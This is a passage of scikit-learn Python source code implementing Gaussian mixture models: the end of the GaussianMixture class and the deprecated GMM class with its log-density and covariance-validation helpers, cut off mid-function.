    n_components, _ = means.shape
    # det(precision_chol) is half of det(precision)
    log_det = _compute_log_det_cholesky(
        precisions_chol, covariance_type, n_features)

    if covariance_type == 'full':
        log_prob = np.empty((n_samples, n_components))
        for k, (mu, prec_chol) in enumerate(zip(means, precisions_chol)):
            y = np.dot(X, prec_chol) - np.dot(mu, prec_chol)
            log_prob[:, k] = np.sum(np.square(y), axis=1)

    elif covariance_type == 'tied':
        log_prob = np.empty((n_samples, n_components))
        for k, mu in enumerate(means):
            y = np.dot(X, precisions_chol) - np.dot(mu, precisions_chol)
            log_prob[:, k] = np.sum(np.square(y), axis=1)

    elif covariance_type == 'diag':
        precisions = precisions_chol ** 2
        log_prob = (np.sum((means ** 2 * precisions), 1) -
                    2. * np.dot(X, (means * precisions).T) +
                    np.dot(X ** 2, precisions.T))

    elif covariance_type == 'spherical':
        precisions = precisions_chol ** 2
        log_prob = (np.sum(means ** 2, 1) * precisions -
                    2 * np.dot(X, means.T * precisions) +
                    np.outer(row_norms(X, squared=True), precisions))
    return -.5 * (n_features * np.log(2 * np.pi) + log_prob) + log_det


class GaussianMixture(BaseMixture):
    """Gaussian Mixture.

    Representation of a Gaussian mixture model probability distribution.
    This class allows to estimate the parameters of a Gaussian mixture
    distribution.

    Parameters
    ----------
    n_components : int, defaults to 1.
        The number of mixture components.

    covariance_type : {'full', 'tied', 'diag', 'spherical'},
        defaults to 'full'.
        String describing the type of covariance parameters to use.
        Must be one of::
        'full' (each component has its own general covariance matrix).
        'tied' (all components share the same general covariance matrix),
        'diag' (each component has its own diagonal covariance matrix),
        'spherical' (each component has its own single variance),

    tol : float, defaults to 1e-3.
        The convergence threshold. EM iterations will stop when the
        log_likelihood average gain is below this threshold.

    reg_covar : float, defaults to 0.
        Non-negative regularization added to the diagonal of covariance.
        Allows to assure that the covariance matrices are all positive.

    max_iter : int, defaults to 100.
        The number of EM iterations to perform.

    n_init : int, defaults to 1.
        The number of initializations to perform. The best results are kept.

    init_params : {'kmeans', 'random'}, defaults to 'kmeans'.
        The method used to initialize the weights, the means and the
        precisions.
        Must be one of::
        'kmeans' : responsibilities are initialized using kmeans.
        'random' : responsibilities are initialized randomly.

    weights_init : array-like, shape (n_components, ), optional
        The user-provided initial weights, defaults to None.
        If it None, weights are initialized using the `init_params` method.

    means_init: array-like, shape (n_components, n_features), optional
        The user-provided initial means, defaults to None,
        If it None, means are initialized using the `init_params` method.

    precisions_init: array-like, optional.
        The user-provided initial precisions (inverse of the covariance
        matrices), defaults to None.
        If it None, precisions are initialized using the 'init_params' method.
        The shape depends on 'covariance_type'::
            (n_components,)                        if 'spherical',
            (n_features, n_features)               if 'tied',
            (n_components, n_features)             if 'diag',
            (n_components, n_features, n_features) if 'full'

    random_state: RandomState or an int seed, defaults to None.
        A random number generator instance.

    warm_start : bool, default to False.
        If 'warm_start' is True, the solution of the last fitting is used as
        initialization for the next call of fit(). This can speed up
        convergence when fit is called several time on similar problems.

    verbose : int, default to 0.
        Enable verbose output. If 1 then it prints the current
        initialization and each iteration step. If greater than 1 then
        it prints also the log probability and the time needed
        for each step.

    Attributes
    ----------
    weights_ : array-like, shape (n_components,)
        The weights of each mixture components.

    means_ : array-like, shape (n_components, n_features)
        The mean of each mixture component.

    covariances_ : array-like
        The covariance of each mixture component.
        The shape depends on `covariance_type`::
            (n_components,)                        if 'spherical',
            (n_features, n_features)               if 'tied',
            (n_components, n_features)             if 'diag',
            (n_components, n_features, n_features) if 'full'

    precisions_ : array-like
        The precision matrices for each component in the mixture. A precision
        matrix is the inverse of a covariance matrix. A covariance matrix is
        symmetric positive definite so the mixture of Gaussian can be
        equivalently parameterized by the precision matrices. Storing the
        precision matrices instead of the covariance matrices makes it more
        efficient to compute the log-likelihood of new samples at test time.
        The shape depends on `covariance_type`::
            (n_components,)                        if 'spherical',
            (n_features, n_features)               if 'tied',
            (n_components, n_features)             if 'diag',
            (n_components, n_features, n_features) if 'full'

    precisions_cholesky_ : array-like
        The cholesky decomposition of the precision matrices of each mixture
        component. A precision matrix is the inverse of a covariance matrix.
        A covariance matrix is symmetric positive definite so the mixture of
        Gaussian can be equivalently parameterized by the precision matrices.
        Storing the precision matrices instead of the covariance matrices makes
        it more efficient to compute the log-likelihood of new samples at test
        time. The shape depends on `covariance_type`::
            (n_components,)                        if 'spherical',
            (n_features, n_features)               if 'tied',
            (n_components, n_features)             if 'diag',
            (n_components, n_features, n_features) if 'full'

    converged_ : bool
        True when convergence was reached in fit(), False otherwise.

    n_iter_ : int
        Number of step used by the best fit of EM to reach the convergence.

    lower_bound_ : float
        Log-likelihood of the best fit of EM.
    """

    def __init__(self, n_components=1, covariance_type='full', tol=1e-3,
                 reg_covar=1e-6, max_iter=100, n_init=1, init_params='kmeans',
                 weights_init=None, means_init=None, precisions_init=None,
                 random_state=None, warm_start=False,
                 verbose=0, verbose_interval=10):
        super(GaussianMixture, self).__init__(
            n_components=n_components, tol=tol, reg_covar=reg_covar,
            max_iter=max_iter, n_init=n_init, init_params=init_params,
            random_state=random_state, warm_start=warm_start,
            verbose=verbose, verbose_interval=verbose_interval)

        self.covariance_type = covariance_type
        self.weights_init = weights_init
        self.means_init = means_init
        self.precisions_init = precisions_init

    def _check_parameters(self, X):
        """Check the Gaussian mixture parameters are well defined."""
        _, n_features = X.shape
        if self.covariance_type not in ['spherical', 'tied', 'diag', 'full']:
            raise ValueError("Invalid value for 'covariance_type': %s "
                             "'covariance_type' should be in "
                             "['spherical', 'tied', 'diag', 'full']"
                             % self.covariance_type)

        if self.weights_init is not None:
            self.weights_init = _check_weights(self.weights_init,
                                               self.n_components)

        if self.means_init is not None:
            self.means_init = _check_means(self.means_init,
                                           self.n_components, n_features)

        if self.precisions_init is not None:
            self.precisions_init = _check_precisions(self.precisions_init,
                                                     self.covariance_type,
                                                     self.n_components,
                                                     n_features)

    def _initialize(self, X, resp):
        """Initialization of the Gaussian mixture parameters.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)

        resp : array-like, shape (n_samples, n_components)
        """
        n_samples, _ = X.shape

        weights, means, covariances = _estimate_gaussian_parameters(
            X, resp, self.reg_covar, self.covariance_type)
        weights /= n_samples

        self.weights_ = (weights if self.weights_init is None
                         else self.weights_init)
        self.means_ = means if self.means_init is None else self.means_init

        if self.precisions_init is None:
            self.covariances_ = covariances
            self.precisions_cholesky_ = _compute_precision_cholesky(
                covariances, self.covariance_type)
        elif self.covariance_type is 'full':
            self.precisions_cholesky_ = np.array(
                [linalg.cholesky(prec_init, lower=True)
                 for prec_init in self.precisions_init])
        elif self.covariance_type is 'tied':
            self.precisions_cholesky_ = linalg.cholesky(self.precisions_init,
                                                        lower=True)
        else:
            self.precisions_cholesky_ = self.precisions_init

    def _e_step(self, X):
        log_prob_norm, log_resp = self._estimate_log_prob_resp(X)
        return np.mean(log_prob_norm), np.exp(log_resp)

    def _m_step(self, X, resp):
        n_samples, _ = X.shape
        self.weights_, self.means_, self.covariances_ = (
            _estimate_gaussian_parameters(X, resp, self.reg_covar,
                                          self.covariance_type))
        self.weights_ /= n_samples
        self.precisions_cholesky_ = _compute_precision_cholesky(
            self.covariances_, self.covariance_type)

    def _estimate_log_prob(self, X):
        return _estimate_log_gaussian_prob(
            X, self.means_, self.precisions_cholesky_, self.covariance_type)

    def _estimate_log_weights(self):
        return np.log(self.weights_)

    def _compute_lower_bound(self, _, log_prob_norm):
        return log_prob_norm

    def _check_is_fitted(self):
        check_is_fitted(self, ['weights_', 'means_', 'precisions_cholesky_'])

    def _get_parameters(self):
        return (self.weights_, self.means_, self.covariances_,
                self.precisions_cholesky_)

    def _set_parameters(self, params):
        (self.weights_, self.means_, self.covariances_,
         self.precisions_cholesky_) = params

        # Attributes computation
        _, n_features = self.means_.shape

        if self.covariance_type is 'full':
            self.precisions_ = np.empty(self.precisions_cholesky_.shape)
            for k, prec_chol in enumerate(self.precisions_cholesky_):
                self.precisions_[k] = np.dot(prec_chol, prec_chol.T)

        elif self.covariance_type is 'tied':
            self.precisions_ = np.dot(self.precisions_cholesky_,
                                      self.precisions_cholesky_.T)
        else:
            self.precisions_ = self.precisions_cholesky_ ** 2

    def _n_parameters(self):
        """Return the number of free parameters in the model."""
        _, n_features = self.means_.shape
        if self.covariance_type == 'full':
            cov_params = self.n_components * n_features * (n_features + 1) / 2.
        elif self.covariance_type == 'diag':
            cov_params = self.n_components * n_features
        elif self.covariance_type == 'tied':
            cov_params = n_features * (n_features + 1) / 2.
        elif self.covariance_type == 'spherical':
            cov_params = self.n_components
        mean_params = n_features * self.n_components
        return int(cov_params + mean_params + self.n_components - 1)

    def bic(self, X):
        """Bayesian information criterion for the current model on the input X.

        Parameters
        ----------
        X : array of shape (n_samples, n_dimensions)

        Returns
        -------
        bic: float
            The greater the better.
        """
        return (-2 * self.score(X) * X.shape[0] +
                self._n_parameters() * np.log(X.shape[0]))

    def aic(self, X):
        """Akaike information criterion for the current model on the input X.

        Parameters
        ----------
        X : array of shape(n_samples, n_dimensions)

        Returns
        -------
        aic: float
            The greater the better.
        """
        return -2 * self.score(X) * X.shape[0] + 2 * self._n_parameters()






"""
Gaussian Mixture Models.

This implementation corresponds to frequentist (non-Bayesian) formulation
of Gaussian Mixture Models.
"""

# Author: Ron Weiss <ronweiss@gmail.com>
#         Fabian Pedregosa <fabian.pedregosa@inria.fr>
#         Bertrand Thirion <bertrand.thirion@inria.fr>

import numpy as np
from scipy import linalg
from time import time

from ..base import BaseEstimator
from ..utils import check_random_state, check_array, deprecated
from ..utils.extmath import logsumexp
from ..utils.validation import check_is_fitted
from .. import cluster

from sklearn.externals.six.moves import zip

EPS = np.finfo(float).eps

@deprecated("The function log_multivariate_normal_density is deprecated in 0.18"
            " and will be removed in 0.20.")
def log_multivariate_normal_density(X, means, covars, covariance_type='diag'):
    """Compute the log probability under a multivariate Gaussian distribution.

    Parameters
    ----------
    X : array_like, shape (n_samples, n_features)
        List of n_features-dimensional data points. Each row corresponds to a
        single data point.

    means : array_like, shape (n_components, n_features)
        List of n_features-dimensional mean vectors for n_components Gaussians.
        Each row corresponds to a single mean vector.

    covars : array_like
        List of n_components covariance parameters for each Gaussian. The shape
        depends on `covariance_type`:
            (n_components, n_features)      if 'spherical',
            (n_features, n_features)    if 'tied',
            (n_components, n_features)    if 'diag',
            (n_components, n_features, n_features) if 'full'

    covariance_type : string
        Type of the covariance parameters.  Must be one of
        'spherical', 'tied', 'diag', 'full'.  Defaults to 'diag'.

    Returns
    -------
    lpr : array_like, shape (n_samples, n_components)
        Array containing the log probabilities of each data point in
        X under each of the n_components multivariate Gaussian distributions.
    """
    log_multivariate_normal_density_dict = {
        'spherical': _log_multivariate_normal_density_spherical,
        'tied': _log_multivariate_normal_density_tied,
        'diag': _log_multivariate_normal_density_diag,
        'full': _log_multivariate_normal_density_full}
    return log_multivariate_normal_density_dict[covariance_type](
        X, means, covars)


def sample_gaussian(mean, covar, covariance_type='diag', n_samples=1,
                    random_state=None):
    """Generate random samples from a Gaussian distribution.

    Parameters
    ----------
    mean : array_like, shape (n_features,)
        Mean of the distribution.

    covar : array_like, optional
        Covariance of the distribution. The shape depends on `covariance_type`:
            scalar if 'spherical',
            (n_features) if 'diag',
            (n_features, n_features)  if 'tied', or 'full'

    covariance_type : string, optional
        Type of the covariance parameters. Must be one of
        'spherical', 'tied', 'diag', 'full'. Defaults to 'diag'.

    n_samples : int, optional
        Number of samples to generate. Defaults to 1.

    Returns
    -------
    X : array, shape (n_features, n_samples)
        Randomly generated sample
    """
    rng = check_random_state(random_state)
    n_dim = len(mean)
    rand = rng.randn(n_dim, n_samples)
    if n_samples == 1:
        rand.shape = (n_dim,)

    if covariance_type == 'spherical':
        rand *= np.sqrt(covar)
    elif covariance_type == 'diag':
        rand = np.dot(np.diag(np.sqrt(covar)), rand)
    else:
        s, U = linalg.eigh(covar)
        s.clip(0, out=s)  # get rid of tiny negatives
        np.sqrt(s, out=s)
        U *= s
        rand = np.dot(U, rand)

    return (rand.T + mean).T


class _GMMBase(BaseEstimator):
    """Gaussian Mixture Model.

    Representation of a Gaussian mixture model probability distribution.
    This class allows for easy evaluation of, sampling from, and
    maximum-likelihood estimation of the parameters of a GMM distribution.

    Initializes parameters such that every mixture component has zero
    mean and identity covariance.

    Read more in the :ref:`User Guide <gmm>`.

    Parameters
    ----------
    n_components : int, optional
        Number of mixture components. Defaults to 1.

    covariance_type : string, optional
        String describing the type of covariance parameters to
        use.  Must be one of 'spherical', 'tied', 'diag', 'full'.
        Defaults to 'diag'.

    random_state: RandomState or an int seed (None by default)
        A random number generator instance

    min_covar : float, optional
        Floor on the diagonal of the covariance matrix to prevent
        overfitting. Defaults to 1e-3.

    tol : float, optional
        Convergence threshold. EM iterations will stop when average
        gain in log-likelihood is below this threshold. Defaults to 1e-3.

    n_iter : int, optional
        Number of EM iterations to perform.

    n_init : int, optional
        Number of initializations to perform. The best results is kept.

    params : string, optional
        Controls which parameters are updated in the training
        process.  Can contain any combination of 'w' for weights,
        'm' for means, and 'c' for covars. Defaults to 'wmc'.

    init_params : string, optional
        Controls which parameters are updated in the initialization
        process.  Can contain any combination of 'w' for weights,
        'm' for means, and 'c' for covars. Defaults to 'wmc'.

    verbose : int, default: 0
        Enable verbose output. If 1 then it always prints the current
        initialization and iteration step. If greater than 1 then
        it prints additionally the change and time needed for each step.

    Attributes
    ----------
    weights_ : array, shape (`n_components`,)
        This attribute stores the mixing weights for each mixture component.

    means_ : array, shape (`n_components`, `n_features`)
        Mean parameters for each mixture component.

    covars_ : array
        Covariance parameters for each mixture component.  The shape
        depends on `covariance_type`::

            (n_components, n_features)             if 'spherical',
            (n_features, n_features)               if 'tied',
            (n_components, n_features)             if 'diag',
            (n_components, n_features, n_features) if 'full'

    converged_ : bool
        True when convergence was reached in fit(), False otherwise.

    See Also
    --------

    DPGMM : Infinite gaussian mixture model, using the Dirichlet
        process, fit with a variational algorithm


    VBGMM : Finite gaussian mixture model fit with a variational
        algorithm, better for situations where there might be too little
        data to get a good estimate of the covariance matrix.

    Examples
    --------

    >>> import numpy as np
    >>> from sklearn import mixture
    >>> np.random.seed(1)
    >>> g = mixture.GMM(n_components=2)
    >>> # Generate random observations with two modes centered on 0
    >>> # and 10 to use for training.
    >>> obs = np.concatenate((np.random.randn(100, 1),
    ...                       10 + np.random.randn(300, 1)))
    >>> g.fit(obs)  # doctest: +NORMALIZE_WHITESPACE
    GMM(covariance_type='diag', init_params='wmc', min_covar=0.001,
            n_components=2, n_init=1, n_iter=100, params='wmc',
            random_state=None, tol=0.001, verbose=0)
    >>> np.round(g.weights_, 2)
    array([ 0.75,  0.25])
    >>> np.round(g.means_, 2)
    array([[ 10.05],
           [  0.06]])
    >>> np.round(g.covars_, 2) # doctest: +SKIP
    array([[[ 1.02]],
           [[ 0.96]]])
    >>> g.predict([[0], [2], [9], [10]]) # doctest: +ELLIPSIS
    array([1, 1, 0, 0]...)
    >>> np.round(g.score([[0], [2], [9], [10]]), 2)
    array([-2.19, -4.58, -1.75, -1.21])
    >>> # Refit the model on new data (initial parameters remain the
    >>> # same), this time with an even split between the two modes.
    >>> g.fit(20 * [[0]] + 20 * [[10]])  # doctest: +NORMALIZE_WHITESPACE
    GMM(covariance_type='diag', init_params='wmc', min_covar=0.001,
            n_components=2, n_init=1, n_iter=100, params='wmc',
            random_state=None, tol=0.001, verbose=0)
    >>> np.round(g.weights_, 2)
    array([ 0.5,  0.5])

    """

    def __init__(self, n_components=1, covariance_type='diag',
                 random_state=None, tol=1e-3, min_covar=1e-3,
                 n_iter=100, n_init=1, params='wmc', init_params='wmc',
                 verbose=0):
        self.n_components = n_components
        self.covariance_type = covariance_type
        self.tol = tol
        self.min_covar = min_covar
        self.random_state = random_state
        self.n_iter = n_iter
        self.n_init = n_init
        self.params = params
        self.init_params = init_params
        self.verbose = verbose

        if covariance_type not in ['spherical', 'tied', 'diag', 'full']:
            raise ValueError('Invalid value for covariance_type: %s' %
                             covariance_type)

        if n_init < 1:
            raise ValueError('GMM estimation requires at least one run')

        self.weights_ = np.ones(self.n_components) / self.n_components

        # flag to indicate exit status of fit() method: converged (True) or
        # n_iter reached (False)
        self.converged_ = False

    def _get_covars(self):
        """Covariance parameters for each mixture component.

        The shape depends on ``cvtype``::

            (n_states, n_features)                if 'spherical',
            (n_features, n_features)              if 'tied',
            (n_states, n_features)                if 'diag',
            (n_states, n_features, n_features)    if 'full'

        """
        if self.covariance_type == 'full':
            return self.covars_
        elif self.covariance_type == 'diag':
            return [np.diag(cov) for cov in self.covars_]
        elif self.covariance_type == 'tied':
            return [self.covars_] * self.n_components
        elif self.covariance_type == 'spherical':
            return [np.diag(cov) for cov in self.covars_]

    def _set_covars(self, covars):
        """Provide values for covariance."""
        covars = np.asarray(covars)
        _validate_covars(covars, self.covariance_type, self.n_components)
        self.covars_ = covars

    def score_samples(self, X):
        """Return the per-sample likelihood of the data under the model.

        Compute the log probability of X under the model and
        return the posterior distribution (responsibilities) of each
        mixture component for each element of X.

        Parameters
        ----------
        X: array_like, shape (n_samples, n_features)
            List of n_features-dimensional data points. Each row
            corresponds to a single data point.

        Returns
        -------
        logprob : array_like, shape (n_samples,)
            Log probabilities of each data point in X.

        responsibilities : array_like, shape (n_samples, n_components)
            Posterior probabilities of each mixture component for each
            observation
        """
        check_is_fitted(self, 'means_')

        X = check_array(X)
        if X.ndim == 1:
            X = X[:, np.newaxis]
        if X.size == 0:
            return np.array([]), np.empty((0, self.n_components))
        if X.shape[1] != self.means_.shape[1]:
            raise ValueError('The shape of X  is not compatible with self')

        lpr = (log_multivariate_normal_density(X, self.means_, self.covars_,
                                               self.covariance_type) +
               np.log(self.weights_))
        logprob = logsumexp(lpr, axis=1)
        responsibilities = np.exp(lpr - logprob[:, np.newaxis])
        return logprob, responsibilities

    def score(self, X, y=None):
        """Compute the log probability under the model.

        Parameters
        ----------
        X : array_like, shape (n_samples, n_features)
            List of n_features-dimensional data points. Each row
            corresponds to a single data point.

        Returns
        -------
        logprob : array_like, shape (n_samples,)
            Log probabilities of each data point in X
        """
        logprob, _ = self.score_samples(X)
        return logprob

    def predict(self, X):
        """Predict label for data.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]

        Returns
        -------
        C : array, shape = (n_samples,) component memberships
        """
        logprob, responsibilities = self.score_samples(X)
        return responsibilities.argmax(axis=1)

    def predict_proba(self, X):
        """Predict posterior probability of data under each Gaussian
        in the model.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]

        Returns
        -------
        responsibilities : array-like, shape = (n_samples, n_components)
            Returns the probability of the sample for each Gaussian
            (state) in the model.
        """
        logprob, responsibilities = self.score_samples(X)
        return responsibilities

    def sample(self, n_samples=1, random_state=None):
        """Generate random samples from the model.

        Parameters
        ----------
        n_samples : int, optional
            Number of samples to generate. Defaults to 1.

        Returns
        -------
        X : array_like, shape (n_samples, n_features)
            List of samples
        """
        check_is_fitted(self, 'means_')

        if random_state is None:
            random_state = self.random_state
        random_state = check_random_state(random_state)
        weight_cdf = np.cumsum(self.weights_)

        X = np.empty((n_samples, self.means_.shape[1]))
        rand = random_state.rand(n_samples)
        # decide which component to use for each sample
        comps = weight_cdf.searchsorted(rand)
        # for each component, generate all needed samples
        for comp in range(self.n_components):
            # occurrences of current component in X
            comp_in_X = (comp == comps)
            # number of those occurrences
            num_comp_in_X = comp_in_X.sum()
            if num_comp_in_X > 0:
                if self.covariance_type == 'tied':
                    cv = self.covars_
                elif self.covariance_type == 'spherical':
                    cv = self.covars_[comp][0]
                else:
                    cv = self.covars_[comp]
                X[comp_in_X] = sample_gaussian(
                    self.means_[comp], cv, self.covariance_type,
                    num_comp_in_X, random_state=random_state).T
        return X

    def fit_predict(self, X, y=None):
        """Fit and then predict labels for data.

        Warning: Due to the final maximization step in the EM algorithm,
        with low iterations the prediction may not be 100%  accurate.

        .. versionadded:: 0.17
           *fit_predict* method in Gaussian Mixture Model.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]

        Returns
        -------
        C : array, shape = (n_samples,) component memberships
        """
        return self._fit(X, y).argmax(axis=1)

    def _fit(self, X, y=None, do_prediction=False):
        """Estimate model parameters with the EM algorithm.

        A initialization step is performed before entering the
        expectation-maximization (EM) algorithm. If you want to avoid
        this step, set the keyword argument init_params to the empty
        string '' when creating the GMM object. Likewise, if you would
        like just to do an initialization, set n_iter=0.

        Parameters
        ----------
        X : array_like, shape (n, n_features)
            List of n_features-dimensional data points. Each row
            corresponds to a single data point.

        Returns
        -------
        responsibilities : array, shape (n_samples, n_components)
            Posterior probabilities of each mixture component for each
            observation.
        """

        # initialization step
        X = check_array(X, dtype=np.float64, ensure_min_samples=2,
                        estimator=self)
        if X.shape[0] < self.n_components:
            raise ValueError(
                'GMM estimation with %s components, but got only %s samples' %
                (self.n_components, X.shape[0]))

        max_log_prob = -np.infty

        if self.verbose > 0:
            print('Expectation-maximization algorithm started.')

        for init in range(self.n_init):
            if self.verbose > 0:
                print('Initialization ' + str(init + 1))
                start_init_time = time()

            if 'm' in self.init_params or not hasattr(self, 'means_'):
                self.means_ = cluster.KMeans(
                    n_clusters=self.n_components,
                    random_state=self.random_state).fit(X).cluster_centers_
                if self.verbose > 1:
                    print('\tMeans have been initialized.')

            if 'w' in self.init_params or not hasattr(self, 'weights_'):
                self.weights_ = np.tile(1.0 / self.n_components,
                                        self.n_components)
                if self.verbose > 1:
                    print('\tWeights have been initialized.')

            if 'c' in self.init_params or not hasattr(self, 'covars_'):
                cv = np.cov(X.T) + self.min_covar * np.eye(X.shape[1])
                if not cv.shape:
                    cv.shape = (1, 1)
                self.covars_ = \
                    distribute_covar_matrix_to_match_covariance_type(
                        cv, self.covariance_type, self.n_components)
                if self.verbose > 1:
                    print('\tCovariance matrices have been initialized.')

            # EM algorithms
            current_log_likelihood = None
            # reset self.converged_ to False
            self.converged_ = False

            for i in range(self.n_iter):
                if self.verbose > 0:
                    print('\tEM iteration ' + str(i + 1))
                    start_iter_time = time()
                prev_log_likelihood = current_log_likelihood
                # Expectation step
                log_likelihoods, responsibilities = self.score_samples(X)
                current_log_likelihood = log_likelihoods.mean()

                # Check for convergence.
                if prev_log_likelihood is not None:
                    change = abs(current_log_likelihood - prev_log_likelihood)
                    if self.verbose > 1:
                        print('\t\tChange: ' + str(change))
                    if change < self.tol:
                        self.converged_ = True
                        if self.verbose > 0:
                            print('\t\tEM algorithm converged.')
                        break

                # Maximization step
                self._do_mstep(X, responsibilities, self.params,
                               self.min_covar)
                if self.verbose > 1:
                    print('\t\tEM iteration ' + str(i + 1) + ' took {0:.5f}s'.format(
                        time() - start_iter_time))

            # if the results are better, keep it
            if self.n_iter:
                if current_log_likelihood > max_log_prob:
                    max_log_prob = current_log_likelihood
                    best_params = {'weights': self.weights_,
                                   'means': self.means_,
                                   'covars': self.covars_}
                    if self.verbose > 1:
                        print('\tBetter parameters were found.')

            if self.verbose > 1:
                print('\tInitialization ' + str(init + 1) + ' took {0:.5f}s'.format(
                    time() - start_init_time))

        # check the existence of an init param that was not subject to
        # likelihood computation issue.
        if np.isneginf(max_log_prob) and self.n_iter:
            raise RuntimeError(
                "EM algorithm was never able to compute a valid likelihood " +
                "given initial parameters. Try different init parameters " +
                "(or increasing n_init) or check for degenerate data.")

        if self.n_iter:
            self.covars_ = best_params['covars']
            self.means_ = best_params['means']
            self.weights_ = best_params['weights']
        else:  # self.n_iter == 0 occurs when using GMM within HMM
            # Need to make sure that there are responsibilities to output
            # Output zeros because it was just a quick initialization
            responsibilities = np.zeros((X.shape[0], self.n_components))

        return responsibilities

    def fit(self, X, y=None):
        """Estimate model parameters with the EM algorithm.

        A initialization step is performed before entering the
        expectation-maximization (EM) algorithm. If you want to avoid
        this step, set the keyword argument init_params to the empty
        string '' when creating the GMM object. Likewise, if you would
        like just to do an initialization, set n_iter=0.

        Parameters
        ----------
        X : array_like, shape (n, n_features)
            List of n_features-dimensional data points.  Each row
            corresponds to a single data point.

        Returns
        -------
        self
        """
        self._fit(X, y)
        return self

    def _do_mstep(self, X, responsibilities, params, min_covar=0):
        """Perform the Mstep of the EM algorithm and return the cluster weights.
        """
        weights = responsibilities.sum(axis=0)
        weighted_X_sum = np.dot(responsibilities.T, X)
        inverse_weights = 1.0 / (weights[:, np.newaxis] + 10 * EPS)

        if 'w' in params:
            self.weights_ = (weights / (weights.sum() + 10 * EPS) + EPS)
        if 'm' in params:
            self.means_ = weighted_X_sum * inverse_weights
        if 'c' in params:
            covar_mstep_func = _covar_mstep_funcs[self.covariance_type]
            self.covars_ = covar_mstep_func(
                self, X, responsibilities, weighted_X_sum, inverse_weights,
                min_covar)
        return weights

    def _n_parameters(self):
        """Return the number of free parameters in the model."""
        ndim = self.means_.shape[1]
        if self.covariance_type == 'full':
            cov_params = self.n_components * ndim * (ndim + 1) / 2.
        elif self.covariance_type == 'diag':
            cov_params = self.n_components * ndim
        elif self.covariance_type == 'tied':
            cov_params = ndim * (ndim + 1) / 2.
        elif self.covariance_type == 'spherical':
            cov_params = self.n_components
        mean_params = ndim * self.n_components
        return int(cov_params + mean_params + self.n_components - 1)

    def bic(self, X):
        """Bayesian information criterion for the current model fit
        and the proposed data.

        Parameters
        ----------
        X : array of shape(n_samples, n_dimensions)

        Returns
        -------
        bic: float (the lower the better)
        """
        return (-2 * self.score(X).sum() +
                self._n_parameters() * np.log(X.shape[0]))

    def aic(self, X):
        """Akaike information criterion for the current model fit
        and the proposed data.

        Parameters
        ----------
        X : array of shape(n_samples, n_dimensions)

        Returns
        -------
        aic: float (the lower the better)
        """
        return - 2 * self.score(X).sum() + 2 * self._n_parameters()


@deprecated("The class GMM is deprecated in 0.18 and will be "
            " removed in 0.20. Use class GaussianMixture instead.")
class GMM(_GMMBase):
    def __init__(self, n_components=1, covariance_type='diag',
                 random_state=None, tol=1e-3, min_covar=1e-3,
                 n_iter=100, n_init=1, params='wmc', init_params='wmc',
                 verbose=0):
        super(GMM, self).__init__(
            n_components=n_components, covariance_type=covariance_type,
            random_state=random_state, tol=tol, min_covar=min_covar,
            n_iter=n_iter, n_init=n_init, params=params,
            init_params=init_params, verbose=verbose)

#########################################################################
# some helper routines
#########################################################################


def _log_multivariate_normal_density_diag(X, means, covars):
    """Compute Gaussian log-density at X for a diagonal model."""
    n_samples, n_dim = X.shape
    lpr = -0.5 * (n_dim * np.log(2 * np.pi) + np.sum(np.log(covars), 1)
                  + np.sum((means ** 2) / covars, 1)
                  - 2 * np.dot(X, (means / covars).T)
                  + np.dot(X ** 2, (1.0 / covars).T))
    return lpr


def _log_multivariate_normal_density_spherical(X, means, covars):
    """Compute Gaussian log-density at X for a spherical model."""
    cv = covars.copy()
    if covars.ndim == 1:
        cv = cv[:, np.newaxis]
    if cv.shape[1] == 1:
        cv = np.tile(cv, (1, X.shape[-1]))
    return _log_multivariate_normal_density_diag(X, means, cv)


def _log_multivariate_normal_density_tied(X, means, covars):
    """Compute Gaussian log-density at X for a tied model."""
    cv = np.tile(covars, (means.shape[0], 1, 1))
    return _log_multivariate_normal_density_full(X, means, cv)


def _log_multivariate_normal_density_full(X, means, covars, min_covar=1.e-7):
    """Log probability for full covariance matrices."""
    n_samples, n_dim = X.shape
    nmix = len(means)
    log_prob = np.empty((n_samples, nmix))
    for c, (mu, cv) in enumerate(zip(means, covars)):
        try:
            cv_chol = linalg.cholesky(cv, lower=True)
        except linalg.LinAlgError:
            # The model is most probably stuck in a component with too
            # few observations, we need to reinitialize this components
            try:
                cv_chol = linalg.cholesky(cv + min_covar * np.eye(n_dim),
                                          lower=True)
            except linalg.LinAlgError:
                raise ValueError("'covars' must be symmetric, "
                                 "positive-definite")

        cv_log_det = 2 * np.sum(np.log(np.diagonal(cv_chol)))
        cv_sol = linalg.solve_triangular(cv_chol, (X - mu).T, lower=True).T
        log_prob[:, c] = - .5 * (np.sum(cv_sol ** 2, axis=1) +
                                 n_dim * np.log(2 * np.pi) + cv_log_det)

    return log_prob


def _validate_covars(covars, covariance_type, n_components):
    """Do basic checks on matrix covariance sizes and values."""
    from scipy import linalg
    if covariance_type == 'spherical':
        if len(covars) != n_components:
            raise ValueError("'spherical' covars have length n_components")
        elif np.any(covars <= 0):
            raise ValueError("'spherical' covars must be non-negative")
    elif covariance_type == 'tied':
        if covars.shape[0] != covars.shape[1]:
            raise ValueError("'tied' covars must have shape (n_dim, n_dim)")
        elif (not np.allclose(covars, covars.T)
              or np.any(linalg.eigvalsh(covars) <= 0)):
            raise ValueError("'tied' covars must be symmetric, "
                             "positive-definite")
    elif covariance_type == 'diag':
        if len(covars.shape) != 2:
            raise ValueError("'diag' covars must have shape "
                             "(n_components, n_dim)")
        elif np.any(covars <= 0):
            raise ValueError("'diag' covars must be non-negative")
    elif covariance_type == 'full':
        if len(covars.shape) != 3:
            raise ValueError("'full' covars must have shape "
                             "(n_components, n_dim, n_dim)")
        elif covars.shape[1] != covars.shape[2]:
            raise ValueError("'full' covars must have shape "
                             "(n_components, n_dim, n_dim)")
        for n, cv in enumerate(covars):
            if (not np.allclose(cv, cv.T)
                    or np.any(linalg.eigvalsh(cv) <= 0)):
                raise ValueError("component %d of 'full' covars must be "
                                 "symmetric, positive-definite" % n)
    else:
        raise ValueError("covariance_type must be one of " +
                         "'spherical', 'tied', 'diag', 'full'")


@deprecated("The functon distribute_covar_matrix_to_match_covariance_type"
            "is deprecated in 0.18 and will be removed in 0.20.")
def distribute_covar_matrix_to_match_covariance_type(
        tied_cv, covariance_type, n_components):
    """Create all the covariance matrices from a given template."""
    if covariance_type == 'spherical':
        cv = np.tile(tied_cv.mean() * np.ones(tied_cv.shape[1]),
                     (n_components, 1))
    elif covariance_type == 'tied':
        cv = tied_cv
    elif covariance_type == 'diag':
